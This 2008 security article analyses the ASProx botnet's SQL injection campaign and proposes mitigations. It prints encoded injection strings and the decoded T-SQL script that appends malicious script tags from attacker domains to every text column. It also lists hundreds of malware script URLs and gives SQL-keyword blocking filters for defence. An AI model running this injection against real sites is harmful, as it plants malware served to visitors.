ASCII Encoded/Binary String Automated SQL Injection Attack

Michael Zino — May 1, 2008 (Updated: July 24, 2008)

Table of Contents
Introduction
Attack Description
Solutions

Introduction
Research, as well as Google's Cache, indicates that there is a significant number of websites that are still vulnerable to SQL Injection attacks. Despite the fact that input filtering techniques and other protective measures are widely known, it is understandable why this is still the case. Regardless of their underlying technology, it often would be almost impractical to review out dated and/or poorly written websites and eliminate all vulnerabilities in their code bases. Such websites typically use the dynamic construction of ad-hoc SQL queries at run-time quite extensively. Even if a given website is less vulnerable, unintentionally missing even a single security hole could be sufficient to permit a successful SQL Injection attack. Such holes can be easily found during the "study" phase of the site (for example, by crawling the site in question and looking for vulnerable web pages).

Regardless of the complexity and costs involved, a publisher has a responsibility to shield his website from the risk of infection and becoming a virus distributing agent. Publishers of any size must protect their sites' visitors from exposure to malicious scripts at all times.

Financial benefits, such as click-fraud, ad revenue generating zombies, and virtual assets, are generally the driving force behind these types of attacks, as research suggests. However, this can be prevented by use of secure programming and best practices. Ongoing monitoring, detection, and pro-active defensive methods should be utilized within the various layers of any web application.




Attack Description
Recently, we came across a particularly interesting type of SQL Injection that, at times, can be quite difficult to clean, even with the most robust database backup and recovery scheme. This massive and ongoing attack is conducted with the help of an Internet robot—also known as malbot and botnet—which attacks its prospects daily. It is likely that such a botnet fires the series of injection attempts continuously and conditionally until the malicious script references are sensed on the targeted web pages and/or based on detected vulnerability indicators.

The botnet behind this attack, called ASProx, was previously associated with Phishing attacks, and is now indirectly pushing malware through websites that are vulnerable to SQL Injection. The attackers have designed the Asprox botnet to conduct, with the help of Google search engine, an initial research for web pages utilizing ASP (.asp), ASP.NET (.aspx), and PHP (.php) web technologies. The ASProx botnet also utilizes a DNS Fast-Fluxing technique to hide the actual malware delivery sites behind an ever-changing network of compromised hosts acting as proxies. The botnet's infrastructure grows steadily, and our own attack sample indicates it exceeds 49,065 distinct and recurring IP addresses to date.

There is nothing new in the way that the following T-SQL is injected. Yet, the generic nature of the script is somewhat interesting to see.

The following three variants have been injected through an HTTP GET:

';DECLARE%20@S%20NVARCHAR(4000);SET%20@S=CAST(0x44004500 ... 06F007200%20AS%20NVARCHAR(4000));EXEC(@S);--

;DECLARE%20@S%20VARCHAR(4000);SET%20@S=CAST(0x4445434C ... 736F7220%20AS%20VARCHAR(4000));EXEC(@S);--

';DECLARE%20@S%20CHAR(4000);SET%20@S=CAST(0x4445434C ... 72736F72%20AS%20CHAR(4000));EXEC(@S);

And in a more readable form:

DECLARE @S NVARCHAR(4000)
SET @S=CAST(0x4400450043004C00 ... 6F007200 AS NVARCHAR(4000))
EXEC(@S)

DECLARE @S VARCHAR(4000)
SET @S=CAST(0x4445434C41524520 ... 736F7220 AS VARCHAR(4000))
EXEC(@S)

DECLARE @S CHAR(4000)
SET @S=CAST(0x4445434C41524520 ... 736F7220 AS CHAR(4000))
EXEC(@S)

Note that the footprint of the second T-SQL script variant has been significantly decreased by use of ASCII-encoded binary stream instead of a Unicode-encoded binary stream, making its length a widely compatible query component. Although the third variant could possibly have a smaller footprint as well, it uses a slightly different T-SQL script as will be described below. All three variants are currently in use.

Decoding the binary string to its textual form reveals the T-SQL script below, which has been slightly formatted and edited for purposes of clarity. For those who are not proficient in the syntax, the script simply creates a cursor through which it browses for all columns of certain data types (textual) in all user-defined tables underlying the database. Next, the T-SQL script affixes a JavaScript reference (to the malicious script) to the current values contained in each such column.

Since a single page request to which the malicious T-SQL script is appended forces the scanning (and overloading) of the entire database in an effort to widely contaminate its text-based content with malicious script references, simultaneous attacks from the same or synchronized servers (or zombies) have the potential to escalate the original attack vector into a distributed denial of service (also known as DDoS). The response time to the malicious page request can alone be used as an indication of vulnerability to SQL injection, eliminating the need of a study phase prior to attack.

DECLARE @T VARCHAR(255)
DECLARE @C VARCHAR(255)

DECLARE Table_Cursor CURSOR FOR
SELECT [A].[Name], [B].[Name]
FROM sysobjects AS [A], syscolumns AS [B]
WHERE [A].[ID] = [B].[ID] AND
[A].[XType] = 'U' /* Table (User-Defined) */ AND
([B].[XType] = 99 /* NTEXT */ OR
[B].[XType] = 35 /* TEXT */ OR
[B].[XType] = 231 /* NVARCHAR */ OR
[B].[XType] = 167 /* VARCHAR */)

OPEN Table_Cursor
FETCH NEXT FROM Table_Cursor INTO @T,@C

WHILE (@@FETCH_STATUS = 0)
BEGIN
EXEC('UPDATE [' + @T + '] SET [' + @C + '] = RTRIM(CONVERT(VARCHAR, [' + @C + '])) + ''<script src="http://winzipices.cn/2.js"></script>''')
FETCH NEXT FROM Table_Cursor INTO @T, @C
END

CLOSE Table_Cursor
DEALLOCATE Table_Cursor

The third T-SQL variant varies as follows:


...
WHILE (@@FETCH_STATUS = 0)
BEGIN
EXEC('UPDATE [' + @T + '] SET [' + @C + ']=[' + @C + ']+''"></title><script src="http://abc.verynx.cn/w.js"></script><!--'' where ' + @C + ' not like ''%"></title><script src="http://abc.verynx.cn/w.js"></script><!--''')
FETCH NEXT FROM Table_Cursor INTO @T, @C
END
...

While the previous T-SQL script was "blindly" appending the malicious script references to the current value of any given column entry, this T-SQL script first verifies that the current entry has not been contaminated by prior attacks, preventing excessive repetition of the same malicious script reference. Additionally, the T-SQL script terminates enclosing <title> HTML tag in order to ensure immediate download and execution of the maliciously injected Javascript code. This approach specifically targets web pages that dynamically populate their title tag from the database. Finally, the T-SQL terminates the injection with a comment declaration "<!--", intentionally trying to hide or prevent the rendering of the HTML content to follow.

The following table lists the references to malicious scripts detected and reported to date:

Collapse/Expand Table 
Most Recent
Date Monitored
Script Reference
11/26/2008http://e.nuclear3.com/bbs/ad/e.js
11/26/2008http://e.nuclear3.com/bbs/ad/e.js
11/25/2008http://c.8e9.net/bbs/ad/en.js
11/24/2008http://www.ko113.cn/a.js
11/22/2008http://c.8e9.net/bbs/ad/ko.js
11/22/2008http://c.8e9.net/bbs/ad/ja.js
11/13/2008http://www.wakasa.or.jp/
11/12/2008http://www.wakasa.or.jp
11/12/2008http://www.wakasa.or.jp/rec_new.html
11/12/2008http://hi.baidu.com/anubisheihei
11/9/2008http://www.berjke.ru/script.js
11/6/2008http://www.ko118.cn/a.js
10/25/2008http://www2.s800qn.cn/csrss/w.js
10/25/2008http://www2.s800qn.cn/csrss/w.js
10/24/2008http://www.81dns.ru/script.js
10/14/2008http://www.lang42.ru/script.js
10/10/2008http://www.deryv.ru/script.js
10/9/2008http://www3.ss11qn.cn/csrss/new.htm
10/3/2008http://sdo.1000mg.cn/csrss/w.js
10/2/2008http://www3.ss11qn.cn/csrss/w.js
9/29/2008http://www.ctiry.ru/script.js
9/25/2008http://www.mentoe.ru/script.js
9/25/2008http://www.xenbv.ru/script.js
9/25/2008http://www.pormce.ru/script.js
9/25/2008http://www.mheop.ru/script.js
9/25/2008http://www.vtg43.ru/script.js
9/25/2008http://www.mnicbre.ru/script.js
9/25/2008http://www.pkseio.ru/script.js
9/25/2008http://www.mnbenio.ru/script.js
9/19/2008http://www0.douhunqn.cn/csrss/w.js
9/17/2008http://www.22net.ru/script.js
9/17/2008http://www.sel92.ru/script.js
9/17/2008http://www.fst9.ru/script.js
9/17/2008http://www.92prt.ru/script.js
9/17/2008http://www.asl39.ru/script.js
9/17/2008http://www.acr34.ru/script.js
9/17/2008http://www.64asp.ru/script.js
9/14/2008http://www.51com.ru/script.js
9/14/2008http://www.4net9.ru/script.js
9/10/2008http://www.net83.ru/script.js
9/10/2008http://www.jic2.ru/script.js
9/10/2008http://www.64do.com/script.js
9/10/2008http://www.24aspx.com/script.js
9/10/2008http://www.aspx46.com/script.js
9/10/2008http://www.19ssl.net/script.js
9/3/2008http://www.cg33.ru/script.js
9/3/2008http://www.mc2n.ru/script.js
9/3/2008http://www.cv32.ru/script.js
9/3/2008http://www.vswc.ru/script.js
9/3/2008http://www.mj5f.ru/script.js
9/3/2008http://www.2b24.ru/script.js
9/3/2008http://www.oc32.ru/script.js
9/3/2008http://www.cv2e.ru/script.js
8/29/2008http://www.port04.ru/script.js
8/29/2008http://www.vj64.ru/script.js
8/29/2008http://www.nucop.ru/script.js
8/29/2008http://www.iopoe.ru/script.js
8/29/2008http://www.iopc4.ru/script.js
8/29/2008http://www.loopk.ru/script.js
8/29/2008http://www.netr2.ru/script.js
8/29/2008http://www.jetp6.ru/script.js
8/29/2008http://www.beyry.ru/script.js
8/29/2008http://www.ueur3.ru/script.js
8/25/2008http://www.dfbox.com.cn/ydfq/ydfq.js
8/23/2008http://www.mm117.cn/k.js
8/22/2008http://www.bearcat.net.cn/w/flash.js
8/21/2008http://www.nbh3.ru/script.js
8/21/2008http://www.cb3f.ru/script.js
8/21/2008http://www.juc8.ru/script.js
8/21/2008http://www.bcus2.ru/script.js
8/21/2008http://www.3njx.ru/script.js
8/21/2008http://www.cnld.ru/script.js
8/21/2008http://www.okcd.ru/script.js
8/21/2008http://www.locm.ru/script.js
8/20/2008http://www2.1000ylc.cn/csrss/w.js
8/20/2008http://www3.800mg.cn/csrss/w.js
8/20/2008http://www.cb3f.ru/js.js
8/20/2008http://www.juc8.ru/js.js
8/20/2008http://www.bcus2.ru/js.js
8/20/2008http://www.nbh3.ru/js.js
8/20/2008http://www.locm.ru/js.js
8/20/2008http://www.3njx.ru/js.js
8/20/2008http://www.jkn3.ru/js.js
8/20/2008http://www.okcd.ru/js.js
8/20/2008http://www.cnld.ru/js.js
8/20/2008http://www.ujnc.ru/js.js
8/13/2008http://www.ibse.ru/js.js
8/13/2008http://www.bywd.ru/js.js
8/13/2008http://www.porv.ru/js.js
8/13/2008http://www.ojns.ru/js.js
8/13/2008http://www.98hs.ru/js.js
8/13/2008http://www.nwj4.ru/js.js
8/13/2008http://www.uhwc.ru/js.js
8/13/2008http://jjmaoduo2.3322.org/csrss/w.js
8/13/2008http://www.ncbw.ru/js.js
8/13/2008http://www.8hcs.ru/js.js
8/12/2008http://www.bgsr.ru/js.js
8/12/2008http://www.bluexzz.cn/g.js
8/11/2008http://jjmaoduo.3322.org/csrss/w.js
8/8/2008http://shygddc.cn/tj.js
8/7/2008http://jjmaobuduo.3322.org/csrss/w.js
8/4/2008http://i8jdd.cn/q.js
8/4/2008http://i8jdd.cn/q.js
8/4/2008http://www.ba1do.com/css.js
8/3/2008http://mo98g.cn/q.js
8/2/2008http://abc.verynx.cn/w.js
8/1/2008http://www.bosf.ru/js.js
8/1/2008http://www.bnsr.ru/js.js
8/1/2008http://www.ch35.ru/js.js
8/1/2008http://www.jve4.ru/js.js
8/1/2008http://www.nmr43.ru/js.js
8/1/2008http://www.bce8.ru/js.js
8/1/2008http://www.ncwc.ru/js.js
8/1/2008http://www.njep.ru/js.js
8/1/2008http://www.bjxt.ru/js.js
8/1/2008http://www.b4so.ru/js.js
8/1/2008http://www.kj5s.ru/js.js
8/1/2008http://www.oics.ru/js.js
8/1/2008http://www.po4c.ru/js.js
8/1/2008http://www.kjwd.ru/js.js
8/1/2008http://www.bsko.ru/js.js
7/31/2008http://www.pfd2.ru/js.js
7/31/2008http://www.iroe.ru/js.js
7/31/2008http://www.gty5.ru/js.js
7/31/2008http://www.kpo3.ru/js.js
7/31/2008http://www.ncb2.ru/js.js
7/31/2008http://www.kr92.ru/js.js
7/30/2008http://www.worldofwarcrokft.com/jj.js
7/30/2008http://www.nemr.ru/js.js
7/29/2008http://www.po4c.ru/ngg.js
7/29/2008http://www.nmr43.ru/ngg.js
7/29/2008http://www.oics.ru/ngg.js
7/29/2008http://www.bce8.ru/ngg.js
7/29/2008http://www.bjxt.ru/ngg.js
7/29/2008http://www.kj5s.ru/ngg.js
7/29/2008http://www.jve4.ru/ngg.js
7/29/2008http://www.kpo3.ru/ngg.js
7/29/2008http://www.kr92.ru/ngg.js
7/29/2008http://www.nemr.ru/ngg.js
7/29/2008http://www.bsko.ru/ngg.js
7/29/2008http://www.ch35.ru/ngg.js
7/29/2008http://www.ncwc.ru/ngg.js
7/29/2008http://www.ncb2.ru/ngg.js
7/29/2008http://www.iroe.ru/ngg.js
7/29/2008http://www.njep.ru/ngg.js
7/29/2008http://www.gty5.ru/ngg.js
7/29/2008http://www.pfd2.ru/ngg.js
7/29/2008http://www.bnsr.ru/ngg.js
7/29/2008http://www.kjwd.ru/ngg.js
7/29/2008http://www.bosf.ru/ngg.js
7/29/2008http://www.b4so.ru/ngg.js
7/26/2008http://mo98g.cn/1.js
7/26/2008http://www.kodj.ru/ngg.js
7/26/2008http://www.o1o2qq.cn/ri.js
7/24/2008http://www.o1o2qq.cn/k.js
7/24/2008http://1.verynx.cn/w.js
7/24/2008http://www.cgt4.ru/ngg.js
7/24/2008http://www.kgj3.ru/ngg.js
7/24/2008http://www.cvsr.ru/ngg.js
7/24/2008http://www.bts5.ru/ngg.js
7/24/2008http://www.lksr.ru/ngg.js
7/24/2008http://www.9jsr.ru/ngg.js
7/24/2008http://www.4cnw.ru/ngg.js
7/24/2008http://www.4vrs.ru/ngg.js
7/24/2008http://www.chds.ru/ngg.js
7/24/2008http://www.d5sg.ru/ngg.js
7/24/2008http://www.gb53.ru/ngg.js
7/24/2008http://www.kc43.ru/ngg.js
7/24/2008http://www.jex5.ru/ngg.js
7/24/2008http://www.h23f.ru/ngg.js
7/24/2008http://www.keje.ru/ngg.js
7/24/2008http://www.jvke.ru/ngg.js
7/24/2008http://www.90mc.ru/ngg.js
7/24/2008http://www.5kc3.ru/ngg.js
7/24/2008http://www.ecx2.ru/ngg.js
7/24/2008http://www.lkc2.ru/ngg.js
7/24/2008http://www.keec.ru/ngg.js
7/22/2008http://www.adwbn.ru/ngg.js
7/22/2008http://www.adwr.ru/ngg.js
7/22/2008http://www.rrcs.ru/ngg.js
7/22/2008http://www.sslwer.ru/ngg.js
7/22/2008http://www.lodse.ru/ngg.js
7/22/2008http://www.bnrc.ru/ngg.js
7/22/2008http://www.vcre.ru/ngg.js
7/22/2008http://www.iogp.ru/ngg.js
7/22/2008http://www.nudk.ru/ngg.js
7/22/2008http://www.sdkj.ru/ngg.js
7/19/2008http://www.wowofmusiopl.com.cn/456.js
7/19/2008http://www.btoperc.ru/ngg.js
7/19/2008http://www.gbradde.tk/ngg.js
7/19/2008http://www.korfd.ru/ngg.js
7/19/2008http://www.movaddw.com/ngg.js
7/19/2008http://www.usabnr.com/ngg.js
7/19/2008http://www.ausbnr.com/ngg.js
7/19/2008http://www.adwnetw.com/ngg.js
7/19/2008http://www.grtsel.ru/ngg.js
7/19/2008http://www.cdrpoex.com/ngg.js
7/19/2008http://www.tctcow.com/ngg.js
7/19/2008http://www.adpzo.com/ngg.js
7/19/2008http://www.brcporb.ru/ngg.js
7/18/2008http://www.hiwowpp.cn/ri.js
7/17/2008http://www.rcdplc.ru/ngg.js
7/17/2008http://www.maigol.cn/ri.js
7/17/2008http://www.j8heisi.cn/ri.js
7/16/2008http://www.cdport.eu/ngg.js
7/16/2008http://www.bkpadd.mobi/ngg.js
7/16/2008http://www.pyttco.com/ngg.js
7/16/2008http://www.butdrv.com/ngg.js
7/16/2008http://www.gitporg.com/ngg.js
7/16/2008http://www.cliprts.com/ngg.js
7/16/2008http://www.nopcls.com/ngg.js
7/16/2008http://www.loopadd.com/ngg.js
7/16/2008http://www.tertad.mobi/ngg.js
7/16/2008http://www.destad.mobi/ngg.js
7/15/2008http://www.porttw.mobi/ngg.js
7/15/2008http://www.bnsdrv.com/ngg.js
7/15/2008http://www.hdrcom.com/ngg.js
7/15/2008http://www.addrl.com/ngg.js
7/14/2008http://www.usaadp.com/ngg.js
7/14/2008http://www.gbradp.com/ngg.js
7/14/2008http://www.gbradw.com/ngg.js
7/14/2008http://www.drvadw.com/ngg.js
7/14/2008http://www.crtbond.com/ngg.js
7/14/2008http://www.usaadw.com/ngg.js
7/11/2008http://www.destbnp.com/ngg.js
7/10/2008http://www.ausadd.com/ngg.js
7/9/2008http://www.attadd.com/ngg.js
7/8/2008http://www.allocbn.mobi/ngg.js
7/8/2008http://www.catdbw.mobi/ngg.js
7/8/2008http://www.asslad.com/ngg.js
7/8/2008http://www.browsad.com/ngg.js
7/8/2008http://www.bnrbase.com/ngg.js
7/8/2008http://www.brsadd.com/ngg.js
7/8/2008http://www.bnrbtch.com/ngg.js
7/8/2008http://www.loctenv.com/ngg.js
7/8/2008http://www.appdad.com/ngg.js
7/8/2008http://www.apidad.com/ngg.js
7/8/2008http://www.asodbr.com/ngg.js
7/8/2008http://www.bnradd.mobi/ngg.js
7/8/2008http://www.dbgbron.com/ngg.js
7/8/2008http://www.adwadb.mobi/ngg.js
7/8/2008http://www.blcadw.com/ngg.js
7/8/2008http://www.portadrd.com/ngg.js
7/8/2008http://www.blockkd.com/ngg.js
7/8/2008http://www.clrbbd.com/ngg.js
7/7/2008http://www.adbtch.com/ngg.js
7/7/2008http://www.lokriet.com/ngg.js
7/7/2008http://www.ucomddv.com/ngg.js
7/7/2008http://www.bnrbasead.com/ngg.js
7/7/2008http://www.aladbnr.com/ngg.js
7/7/2008http://www.hiwowpp.cn/k.js
7/7/2008http://www.mainbvd.com/ngg.js
7/7/2008http://www.mainadt.com/ngg.js
7/7/2008http://www.stiwdd.com/ngg.js
7/7/2008http://www.upcomd.com/ngg.js
7/7/2008http://www.portwbr.com/ngg.js
7/7/2008http://www.testwvr.com/ngg.js
7/7/2008http://www.ktrcom.com/ngg.js
7/7/2008http://www.canclvr.com/ngg.js
7/4/2008http://www.loveqianlai.cn/ri.js
7/3/2008http://www.maigol.cn/k.js
7/3/2008http://www.qqcc123.cn/ri.js
7/2/2008http://www.qqcc123.cn/k.js
7/2/2008http://www.debug73.com/ngg.js
7/2/2008http://www.cont67.com/ngg.js
7/2/2008http://www.config73.com/ngg.js
7/2/2008http://www.default37.com/ngg.js
7/2/2008http://www.cntrl62.com/ngg.js
7/2/2008http://www.config73.com/b.js
7/2/2008http://www.default37.com/b.js
7/2/2008http://www.csl24.com/b.js
7/2/2008http://www.cont67.com/b.js
7/2/2008http://www.cntrl62.com/b.js
7/2/2008http://www.get49.net/b.js
7/2/2008http://www.web923.com/b.js
7/2/2008http://www.debug73.com/b.js
7/2/2008http://www.pid76.net/b.js
7/2/2008http://www.adwste.mobi/b.js
7/2/2008http://www.pid72.com/b.js
7/2/2008http://www.adupd.mobi/b.js
7/2/2008http://www.bnrupdate.mobi/b.js
7/2/2008http://www.qq117cc.cn/ri.js
7/2/2008http://www.qq117cc.cn/k.js
7/1/2008http://www.suppadw.com/b.js
7/1/2008http://www.supbnr.com/b.js
7/1/2008http://www.hdadwcd.com/b.js
7/1/2008http://www.kadport.com/b.js
6/30/2008http://www.adwsupp.com/b.js
6/28/2008http://www.hlpgetw.com/b.js
6/28/2008http://www.lang34.com/b.js
6/28/2008http://www.dl251.com/b.js
6/28/2008http://www.tid62.com/b.js
6/28/2008http://www.rid34.com/b.js
6/27/2008http://www.bin963.com/b.js
6/27/2008http://www.base48.com/b.js
6/27/2008http://www.appid37.com/b.js
6/27/2008http://www.apps84.com/b.js
6/27/2008http://www.aspx49.com/b.js
6/27/2008http://www.app52.com/b.js
6/27/2008http://www.aspssl63.com/b.js
6/27/2008http://www.batch29.com/b.js
6/26/2008http://www.j8j8hei.cn/k.js
6/26/2008http://www.heiheinn.cn/k.js
6/26/2008http://www.bios47.com/b.js
6/26/2008http://www.asp707.com/b.js
6/26/2008http://www.dbupdr.com/b.js
6/26/2008http://www.cid26.com/b.js
6/26/2008http://www.st212.com/b.js
6/26/2008http://www.getbwd.com/b.js
6/25/2008http://www.westpacsecuresite.com/b.js
6/25/2008http://www.update34.com/b.js
6/25/2008http://www.bnradw.com/b.js
6/25/2008http://www.pingadw.com/b.js
6/25/2008http://www.pingbnr.com/b.js
6/24/2008http://www.coldwop.com/b.js
6/24/2008http://www.alzhead.com/b.js
6/24/2008http://www.chkbnr.com/b.js
6/24/2008http://www.chinabnr.com/b.js
6/24/2008http://www.adwbnr.com/b.js
6/24/2008http://www.chkadw.com/b.js
6/22/2008http://www.heiheinn.cn/k.js
6/16/2008http://www.heihei117.cn/k.js
6/16/2008http://www.heihei117.cn.js
6/13/2008http://www.fengnima.cn/k.js
6/13/2008http://www.killpp.cn/k.js
6/10/2008http://www.fengnima.cn/m.js
6/7/2008http://www.killpp.cn/m.js
6/7/2008http://www.qiqicc.cn/m.js
6/6/2008http://www.nihao112.com/m.js
6/5/2008http://o7n9.cn/a.js
6/2/2008http://www.dota11.cn/m.js
5/24/2008http://9i5t.cn/a.js

Analyzing the pattern above, it is quite obvious that this attack is carefully crafted and fully managed. New malware domains are introduced daily, while others are excluded, probably based on declining success metrics as anti-virus and related software and hardware vendors are updating their databases and blacklisting newly detected domains.

This T-SQL script—carried by a single malicious request to a website that is vulnerable to SQL Injection—results in content contamination of the entire site with Persistent/Type 2 Cross-Site Scripting (XSS) exploit. The injected Javascript dynamically writes an invisible IFRAME HTML tag to the involuntarily hosting page, pointing to the actual web page that contains different malicious content in an effort to exploit current software configuration vulnerabilities of the end-user’s machine (and to further empower the botnet). Ironically, the botnet masters explicitly express cyber-crime sympathy or sort of patriotism by excluding all end-users with the following language preferences set in their browser—Russian (RU), Chinese (ZH-CN, ZH-TW, ZH), Korean (KO), Hindi (HI), Thai (TH), and Vietnamese (VI)—as the ngg.js script suggests. (Note that there is also another similar variant of this JS file—fgg.js—prefixed with some of the malware domains listed above.)

The end result (for the infected system) is a malware executable with the file name msscntr32.exe, that is installed as a system service with the name "Microsoft Security Center Extension."

Solutions: How To Immune Your Web Application and Database From Such Automated SQL Injection Attacks

Our attack sample indicates that the botnet zombies cover the entire globe and therefore, an IP-based filtering solution that excludes certain regions will not suffice by itself. Still in the networking-layer, an Intrusion Prevention System (IPS), be it hardware or software based, can make access control decisions based on sensed content and drop the malicious request and other potential malicious activity before it is passed to the web server. A software-based IPS can, for example (but not limited to), provide protection via integration with the IIS platform as an ISAPI filter.

If the web application being attacked is templated, or the underlying web technology is configurable and/or extensible and allows participation in the page processing, it is possible to detect the injected malicious T-SQL script during early stages of the page processing and force an exception at that point. Because such a solution is centralized, it is manageable and will prevent the malicious T-SQL from being propagated to an ad-hoc SQL query down the queue of the page request processing. This effectively stops this attack vector "at the gate." The following ASP 3.0/VB and ASP.NET/C# code snippets demonstrate this (imperfect) Quick & Dirty approach:

<%
Dim strQuery

strQuery = UCase(Request.ServerVariables("QUERY_STRING"))
strQuery = Replace(URLDecode(strQuery), " ", "")

If InStr(strQuery,"EXEC(") > 0 OR _
InStr(strQuery,"SELECT") > 0 OR _
InStr(strQuery,"INSERT") > 0 OR _
InStr(strQuery,"UPDATE") > 0 OR _
InStr(strQuery,"DELETE") > 0 OR _
Len(strQuery) > 500 Then
Response.Write 1/0
End If
%>

/// <summary>
/// global.asax
/// </summary>
public class Global : System.Web.HttpApplication
{
...
private static string[] SQLKeywords = new string[]
{
"EXEC", "SELECT", "INSERT", "UPDATE", "DELETE",
"CAST", "DECLARE", "NVARCHAR", "VARCHAR"
};
...
protected void Application_BeginRequest(object sender, EventArgs e)
{
HttpContext context = HttpContext.Current;
if (context != null)
{
string queryString =
context.Request.ServerVariables["QUERY_STRING"];
if (string.IsNullOrEmpty(queryString) == false)
{
if (queryString.Length > 500)
throw new SQLInjectionException(string.Format("Unexpected 'QUERY_STRING' length ({0}).", queryString));

queryString = Server.UrlDecode(queryString);

queryString =
queryString.Replace(" ", string.Empty).ToUpper();

foreach (string keyword in SQLKeywords)
{
if (queryString.IndexOf(keyword) != (-1))
throw new SQLInjectionException(string.Format("Unexpected T-SQL keyword ('{0}') has been detected ({1})", keyword, queryString));
}
}
}
}
...
}

You can then utilize the error handling mechanism of each technology to further process the thrown exception. The second code snippet demonstrates the detection of additional most common T-SQL keywords.

This SQL injection sanitation technique can also be implemented using an ASP.NET HTTP Handler (IHttpHandler) that is "plugged-in" to the site's page processing queue by modifying the site's configuration file alone (web.config). Additionally, form variables (HTTP POST) and other types of input (i.e., cookies) can furthermore be scanned and validated against similar injection attempts.

Although the solutions listed above do have the capability to block and mitigate this type of attack, they do not aim to solve the root cause of the problem, but to provide you with a way to shield your website almost instantly. Yet, penetration testing and code base auditing are inevitable and necessary steps to diminish the effectiveness of SQL injection attacks. Microsoft Source Code Analyzer for SQL Injection (MSCASI) is a static code analysis tool for finding SQL Injection vulnerabilities in ASP code. (This tool requires access to the ASP code base and can help identify code paths that are vulnerable to SQL Injection.) Another useful tool that can aid in identifying vulnerabilities is the Scrawlr. The Scrawlr was developed by HP Web Security Research Group in coordination with Microsoft Security Response Center (MSRC). Scrawlr will crawl a website while simultaneously analyzing the parameters of each individual web page for SQL Injection vulnerabilities.

Generally speaking, it is best to pursue a multi-layered security approach. Therefore, shielding the underlying database itself is also an essential measure to be taken, regardless of the current security level of the web application. Configuring a low-privileged database security context (for the web application accessing the database), and URL filtering (as a fallback) with the help of FOR UPDATE T-SQL triggers (or CLR DML triggers) are two ways in which a database can be immunized from malicious content.

Michael Zino is the CEO of Bloombit Software Inc.


Tags:             

Bookmark and Share

Lucas Tolliver on June 13, 2008 1:59 PM

Thank you for providing such valuable information. A client may have been compromised via this particular attack vector. With your information, we were able to identify the specifics of the attack, so thanks.

Greg Martin on June 23, 2008 10:04 AM

Wonderful analysis work, just so you know these attacks are originating from a botnet called ASProx and it is still on a rampage, I have current knowledge that this botnet exceeds 6,000 zombies.

I suspect that the javascript injection is related to click-fraud.